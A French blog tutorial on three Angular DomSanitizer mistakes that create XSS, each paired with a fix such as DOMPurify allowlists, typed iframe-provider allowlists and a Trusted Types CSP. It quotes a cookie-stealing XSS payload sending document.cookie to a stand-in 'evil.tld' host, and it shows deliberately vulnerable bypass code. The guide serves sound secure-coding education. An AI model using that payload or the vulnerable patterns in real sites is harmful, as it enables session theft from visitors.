~10 min de lecture

3 pièges avec DomSanitizer qui ouvrent la porte à une XSS dans ton app Angular

Tu affiches un fragment HTML dans ton composant. Un extrait d'article, un aperçu de commentaire, une bulle d'aide générée depuis du markdown. Tu écris [innerHTML]="content()" et tu passes à la suite.

Le rendu est cassé. Tes classes Tailwind ont disparu, ton <code> a perdu son style inline, ton <iframe> YouTube n'est jamais monté. Tu ouvres Stack Overflow, la réponse tombe : DomSanitizer.bypassSecurityTrustHtml(). Trois lignes, un pipe, ça marche. Tu commites.

Ce que tu ne sais pas encore : tu viens d'ajouter une XSS (injection JavaScript qui s'exécute chez chaque visiteur, dans l'origine de ton app, avec accès à ses cookies et à sa session) à ton app. Aucun test unitaire ne la voit, aucun linter ne la signale, et le mot bypass dans le nom de la méthode a été le seul avertissement.

Voici les trois pièges qui reviennent le plus souvent en revue de code, avec le pattern qui les remplace tous.

Le code cible Angular 20+, mais l'API DomSanitizer n'a pas bougé depuis Angular 2. Ce qui a bougé, c'est la couche Trusted Types (voir plus bas), stabilisée dans Chrome depuis 2020 et supportée par Angular depuis la v11.


TL;DR

Piège Symptôme Correctif
[innerHTML] sans comprendre ce qu'il fait <style>, attributs on*, <iframe>, id, data-* retirés, avec un avertissement console facile à manquer Assumer le stripping, poser <style>/<iframe> à côté du binding, pas dedans
bypassSecurityTrustHtml(userInput) XSS complète, invisible en revue de code DOMPurify avant le bypass, ou markdown vers HTML côté serveur avec un moteur qui échappe le HTML par défaut
bypassSecurityTrustResourceUrl(url) avec un morceau d'URL qui touche l'origine Iframe pointée vers un domaine attaquant, exfiltration possible Allowlist stricte des origines, jamais de concaténation dans l'origine

La règle d'or : bypassSecurityTrust*() n'est jamais safe sur une valeur utilisateur brute. Cette valeur doit d'abord passer par un sanitizer d'allowlist explicite avant que tu ne signes le bypass.


Piège 1 : [innerHTML] retire bien plus que tu ne le crois, et tu accuses Angular à tort

Ce piège n'ouvre pas de XSS à lui seul. C'est le piège de diagnostic qui te pousse vers les deux suivants : ton HTML est massacré, Angular loggue bien un avertissement en console (WARNING: sanitizing HTML stripped some content), mais il se noie dans le bruit ou passe inaperçu. Tu déduis "Angular m'embête", et tu cherches une méthode qui "désactive" le nettoyage.

Le binding [innerHTML] d'Angular n'est pas un raccourci pour element.innerHTML = value. C'est un raccourci pour element.innerHTML = domSanitizer.sanitize(SecurityContext.HTML, value). Angular passe ton HTML dans un sanitizer avant de le poser dans le DOM, et cette liste blanche est plus stricte qu'elle n'en a l'air : en plus des balises <script>, des attributs on* (onclick, onerror), des URLs javascript: et, par précaution, de <style> (contenu compris) et <iframe>, elle retire aussi les attributs id, style et data-*, ainsi que des balises entières comme <svg>, <button> ou <form>.

❌ Le diagnostic à l'envers

import { Component, signal, ChangeDetectionStrategy } from '@angular/core';

@Component({
  selector: 'app-preview',
  template: `<div [innerHTML]="html()"></div>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
})
export class Preview {
  protected readonly html = signal(`
    <style>.hl { background: yellow }</style>
    <p>Voici un mot <span class="hl">important</span>.</p>
    <iframe src="https://youtube.com/embed/xyz"></iframe>
  `);
}

Rendu réel : <p>Voici un mot <span class="hl">important</span>.</p>. Le <style> a disparu, l'<iframe> aussi. La classe hl est bien là dans le DOM, mais elle n'est stylée nulle part. La console logue bien un avertissement, mais si tu ne l'as pas vu, tu peux passer un moment à chercher un bug de Tailwind qui n'existe pas.

✅ Assumer ce que le sanitizer fait, et ne pas lui donner à manger

Deux réflexes simples :

  1. Le contenu vient de tes sources ? (fichier markdown de blog, chaîne i18n, constante en dur) Alors [innerHTML] est probablement OK, mais vérifie qu'il n'utilise pas un id d'ancre ou une icône <svg> inline - ceux-là sont aussi retirés. Assume que <style> et <iframe> seront retirés, et pose ces éléments dans le template Angular à côté du binding, pas dedans.

  2. Le contenu vient d'un utilisateur ? (commentaire, description libre, WYSIWYG) Alors [innerHTML] ne suffit pas si tu veux garder certaines balises ou certains attributs que le sanitizer d'Angular retire par défaut (le style inline d'un rich-text, par exemple). C'est là qu'on t'a vendu bypassSecurityTrustHtml. C'est là qu'il faut résister.

Pour observer ce qui est retiré, injecte DomSanitizer dans un composant (ou tout autre contexte d'injection - inject() plante hors constructeur ou champ de classe) et lis le résultat à la main :

import { Component, inject, SecurityContext } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';

@Component({ /* ... */ })
export class Debug {
  private readonly sanitizer = inject(DomSanitizer);

  logStripped(dangerous: string): void {
    console.log(this.sanitizer.sanitize(SecurityContext.HTML, dangerous));
  }
}

Tu vois exactement ce qu'Angular va poser dans le DOM. Utile en tests, utile en revue de code.


Piège 2 : bypassSecurityTrustHtml(userInput), la ligne qui te fait passer d'une preview cassée à une XSS complète

Voici le pattern qu'on trouve dans à peu près tous les snippets de blog qui expliquent comment afficher du HTML utilisateur. Il est mauvais.

❌ Le pipe magique qui ouvre la porte

import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Pipe({ name: 'safeHtml' })
export class TrustHtml implements PipeTransform {
  private readonly sanitizer = inject(DomSanitizer);

  transform(value: string): SafeHtml {
    return this.sanitizer.bypassSecurityTrustHtml(value);
  }
}

Utilisation : <div [innerHTML]="userComment | safeHtml"></div>.

Ce pipe retourne un SafeHtml qui dit à Angular : "cette valeur est déjà safe, ne la sanitize pas". Angular respecte le contrat et colle le HTML brut dans le DOM.

Si userComment contient <img src=x onerror="fetch('https://evil.tld/steal?c=' + document.cookie)">, ce bout de code s'exécute chez chaque visiteur qui affiche ce commentaire. Ses cookies non-HttpOnly et son token en localStorage partent, et le script peut faire des requêtes authentifiées en son nom. Aucune console error, aucune alerte navigateur, rien.

Le nom bypassSecurityTrust* signale exactement ce qu'il fait : il contourne la sécurité (littéralement, bypass) en partant du principe que tu as validé la valeur toi-même. Sur une valeur qui vient d'un utilisateur, tu n'as rien validé.

✅ DOMPurify avant le bypass, allowlist explicite

Quand tu as vraiment besoin de rendre du HTML utilisateur enrichi (le style inline d'un éditeur rich-text, une image légitime, des liens externes), le pattern est en deux temps :

import { Pipe, PipeTransform, inject } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import DOMPurify from 'dompurify';

const RICH_TEXT_ALLOWLIST = {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'img', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'rel', 'target'],
  ALLOWED_URI_REGEXP: /^(?:https?:|mailto:|#|\/(?!\/))/i,
  ADD_URI_SAFE_ATTR: ['target', 'rel'],
};

@Pipe({ name: 'richText' })
export class RichText implements PipeTransform {
  private readonly sanitizer = inject(DomSanitizer);

  transform(value: string): SafeHtml {
    const cleaned = DOMPurify.sanitize(value, RICH_TEXT_ALLOWLIST);
    return this.sanitizer.bypassSecurityTrustHtml(cleaned);
  }
}

Deux différences majeures avec le pipe naïf :

  1. DOMPurify est un vrai sanitizer, entretenu par des chercheurs en sécurité, testé contre des payloads XSS complexes. Le sanitizer d'Angular est bon aussi, mais il n'accepte pas de configuration d'allowlist : c'est tout ou rien, et il retire trop pour un rich-text.
  2. L'allowlist est explicite dans le code. Si demain un dev de l'équipe veut autoriser <iframe>, il ajoute la balise à ALLOWED_TAGS et la revue peut s'en saisir. Avec bypassSecurityTrustHtml seul, il n'y a rien à questionner : la porte est déjà ouverte.

Deux détails qui coûtent cher si tu les oublies :

  • Sur un target="_blank", garde rel="noopener noreferrer" explicite - et ajoute target/rel à ADD_URI_SAFE_ATTR dans ta config DOMPurify comme ci-dessus, sinon ALLOWED_URI_REGEXP les traite comme des URLs et les fait disparaître silencieusement. Les navigateurs récents forcent déjà noopener implicitement depuis 2019-2021 selon le navigateur, mais noreferrer désactive en plus l'en-tête Referer.
  • DOMPurify a besoin d'un DOM côté serveur. Sur Node, passe-lui une instance jsdom initialisée une seule fois : DOMPurify(new JSDOM('').window as unknown as Window) (le cast est nécessaire, le typage de jsdom n'est pas directement compatible). Sinon, fais la sanitization à la publication (côté API) et stocke le HTML déjà nettoyé.

Alternative plus sûre : ne stocke jamais le HTML utilisateur. Stocke du markdown, convertis via markdown-it (qui échappe le HTML brut par défaut, html: false) plutôt que marked seul (qui le laisse passer tel quel par défaut - il faudrait lui greffer un sanitizer), et passe le résultat dans [innerHTML] sans bypass. Angular sanitize par-dessus.


Piège 3 : bypassSecurityTrustResourceUrl(url) sur une URL dont l'origine est contrôlée par l'utilisateur

Ce piège est plus rare, mais plus difficile à voir. Il apparaît dès qu'un morceau d'URL d'iframe touche à l'origine (protocole, hostname, port) : sélecteur de provider, hostname en config, URL complète stockée en base. Concaténer un simple identifiant derrière une base entièrement en dur reste globalement inoffensif, parce que le path est normalisé par le navigateur et que les query params ne changent pas l'origine. Le vrai risque arrive quand un morceau du hostname devient contrôlable.

❌ Le provider utilisateur qui devient une origine attaquante

import { Component, input, inject, computed, ChangeDetectionStrategy } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser';

@Component({
  selector: 'app-video-embed',
  template: `<iframe [src]="safeUrl()" allowfullscreen></iframe>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
})
export class VideoEmbed {
  readonly provider = input.required<string>();  // 'youtube', 'vimeo', ou n'importe quoi
  readonly embedId = input.required<string>();

  private readonly sanitizer = inject(DomSanitizer);

  protected readonly safeUrl = computed<SafeResourceUrl>(() =>
    this.sanitizer.bypassSecurityTrustResourceUrl(
      `https://${this.provider()}.com/embed/${this.embedId()}`,
    ),
  );
}

Deux input() typés, un computed(), un bypassSecurityTrustResourceUrl. Le compilateur est content.

Le problème : provider() est concaténé dans le hostname. Si un attaquant peut passer provider = "evil" (via route param, deep link, ou champ mal validé), l'URL devient https://evil.com/embed/xyz. L'iframe charge un domaine que l'attaquant a enregistré, affiché dans le contexte visuel de ton app. Ajoute une lib qui fait des postMessage sans vérifier l'origine, ou laisse l'attribut sandbox mal configuré, et tu as un vecteur d'exfiltration.

✅ Allowlist stricte des origines, jamais de concaténation dans l'origine

import { Component, input, inject, computed, ChangeDetectionStrategy } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser';

const PROVIDERS = {
  youtube: { base: 'https://www.youtube.com/embed/', idPattern: /^[A-Za-z0-9_-]{11}$/ },
  vimeo:   { base: 'https://player.vimeo.com/video/', idPattern: /^\d+$/ },
} as const;

@Component({
  selector: 'app-video-embed',
  template: `
    @if (safeUrl(); as url) {
      <iframe [src]="url" allowfullscreen></iframe>
    } @else {
      <p>Vidéo indisponible.</p>
    }
  `,
  changeDetection: ChangeDetectionStrategy.OnPush,
})
export class VideoEmbed {
  readonly provider = input.required<keyof typeof PROVIDERS>();
  readonly embedId = input.required<string>();

  private readonly sanitizer = inject(DomSanitizer);

  protected readonly safeUrl = computed<SafeResourceUrl | null>(() => {
    const config = PROVIDERS[this.provider()];
    if (!config?.idPattern.test(this.embedId())) return null;
    return this.sanitizer.bypassSecurityTrustResourceUrl(config.base + this.embedId());
  });
}

Deux garanties structurelles : provider typé keyof typeof PROVIDERS refuse à la compilation toute valeur non allowlistée, et les origines en dur dans la map ne peuvent pas être injectées par input.

La règle : entre la valeur qui vient du monde extérieur (utilisateur, URL, API) et l'appel à bypassSecurityTrust*, il faut une validation qui ne peut pas être contournée. Dès qu'un morceau de ta valeur touche l'origine, cette origine doit venir d'un ensemble fini connu à l'avance.


Le filet de sécurité : Trusted Types et Content Security Policy (CSP)

Depuis Angular 11, Angular pose automatiquement une policy Trusted Types nommée angular. Trusted Types (Chrome et Edge depuis 2020, Firefox depuis février 2026, Safari depuis la 26.0) refuse, au niveau du moteur JavaScript, toute écriture directe dans innerHTML, outerHTML ou iframe.srcdoc sans passer par une policy déclarée.

Note importante : ça ne couvre pas iframe.src, qui n'est pas un sink Trusted Types côté navigateur (seul srcdoc, qui porte du HTML, l'est). Le piège 3 de cet article n'est donc pas rattrapé par ce filet - la validation de l'origine reste entièrement à ta charge.

La mise en application se fait via un en-tête HTTP Content-Security-Policy :

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types angular angular#unsafe-bypass;

Ce que ça change :

  • Toute écriture dans innerHTML qui ne transite pas par une policy Trusted Types déclarée (dans une app Angular, angular ou angular#unsafe-bypass) est bloquée par le navigateur avant même d'atteindre le DOM.
  • Tes appels à bypassSecurityTrust* continuent de fonctionner : ils passent par la policy angular#unsafe-bypass, que cette CSP autorise explicitement - donc aucun rapport de violation n'est généré pour eux. La CSP ne te donne pas un audit trail des bypass, juste la garantie que rien d'autre ne peut écrire dans le DOM sans policy déclarée.
  • Une lib tierce qui fait element.innerHTML = ... sans passer par Angular crashe visiblement. Tu la détectes, tu la remplaces ou tu la wrappes, au lieu de la découvrir en post-mortem.

C'est un filet, pas une solution miracle. Il n'empêche pas un bypassSecurityTrustHtml(userInput) déjà en place de faire son travail de porte ouverte, puisque la policy angular#unsafe-bypass est justement là pour le laisser passer. Mais il force toute écriture DOM hors de ce chemin à planter bruyamment, ce qui limite drastiquement la surface d'attaque.


Récap actionnable

La matrice de décision à garder en tête la prochaine fois que tu tapes bypassSecurityTrust* :

Situation Réflexe
Contenu 100 % issu de tes sources (constante, fichier md commité, i18n) [innerHTML] direct, sans pipe, on assume le stripping
Contenu utilisateur en markdown Convertir en HTML avec markdown-it (pas marked seul, qui laisse passer le HTML brut), puis [innerHTML] sans bypass
Contenu utilisateur en HTML rich-text DOMPurify avec allowlist explicite (attributs target/rel inclus dans ADD_URI_SAFE_ATTR), bypassSecurityTrustHtml derrière
URL d'iframe avec ID variable, base et provider en dur Regex de forme sur l'ID + URL de base codée en dur + bypassSecurityTrustResourceUrl
URL d'iframe dont l'origine dépend d'une valeur utilisateur Allowlist typée de providers, la valeur utilisateur choisit une clé, jamais un morceau d'origine

Trois choses à retenir :

  1. [innerHTML] sanitize. Ce n'est pas un bug, c'est l'API. Assume ce qu'il retire, ne fuis pas dans un bypass sans savoir ce que tu perds.
  2. bypassSecurityTrust* n'est pas un raccourci de rendu, c'est un contrat. Il dit "je garantis que cette valeur est safe". Sur une valeur utilisateur, tu ne peux pas signer ce contrat sans un sanitizer d'allowlist explicite en amont.
  3. Active Trusted Types en CSP. Ça ne remplace pas la discipline, mais ça verrouille tout le reste : toute écriture DOM qui ne passe pas par une policy déclarée plante bruyamment, à l'exception de tes propres bypass assumés.

Le vrai réflexe à installer, c'est de traiter bypassSecurityTrust* comme une signature de responsabilité, pas comme un utilitaire de rendu. Chaque appel devrait pouvoir être défendu en revue de code par une phrase de la forme "cette valeur a été validée par X". Si tu ne peux pas prononcer cette phrase, c'est une porte, pas un pipe.

📧 Reste informé(e) !

Reçois les derniers articles et conseils EasyAngularKit directement dans ta boîte mail.

S'inscrire gratuitement

AngularKit

Suite d'outils pour développeurs Angular francophones. Apprends, modernise tes réflexes, audite ta codebase.

Produits

Contact

Légal

© 2026 AngularKit. Tous droits réservés.